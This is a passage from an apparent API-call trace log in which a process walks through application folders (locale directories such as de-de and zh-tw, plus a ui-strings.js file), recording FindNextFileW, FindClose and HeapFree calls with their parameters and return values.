	[0171.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.134] FindNextFileW (in: hFindFile=0x394b738, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0171.203] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.203] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0171.204] FindClose (in: hFindFile=0x394b678 | out: hFindFile=0x394b678) returned 1
	[0171.204] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0171.204] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0171.204] FindClose (in: hFindFile=0x394ba78 | out: hFindFile=0x394ba78) returned 1
	[0171.204] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.204] FindNextFileW (in: hFindFile=0x394b738, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0171.218] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.218] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0171.219] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.219] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0171.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.220] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0171.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.220] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0171.221] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.221] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0171.222] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.222] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0171.222] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.222] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0171.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.223] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0171.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.223] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0171.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.224] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0171.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.225] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0171.226] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.226] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0171.226] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.226] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0171.228] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.228] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0171.228] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.228] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0171.229] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.229] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0171.229] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.230] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0171.230] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.230] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0171.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.231] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0171.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.231] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0171.232] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.232] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0171.232] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.232] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0171.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.233] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0171.234] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.234] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0171.234] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.234] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0171.234] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.235] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0171.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.237] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0171.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.238] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0171.238] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.238] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0171.238] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.238] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0171.238] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.239] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0171.239] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.239] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0171.239] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.239] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0171.240] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.240] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0171.240] FindClose (in: hFindFile=0x394bb38 | out: hFindFile=0x394bb38) returned 1
	[0171.240] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
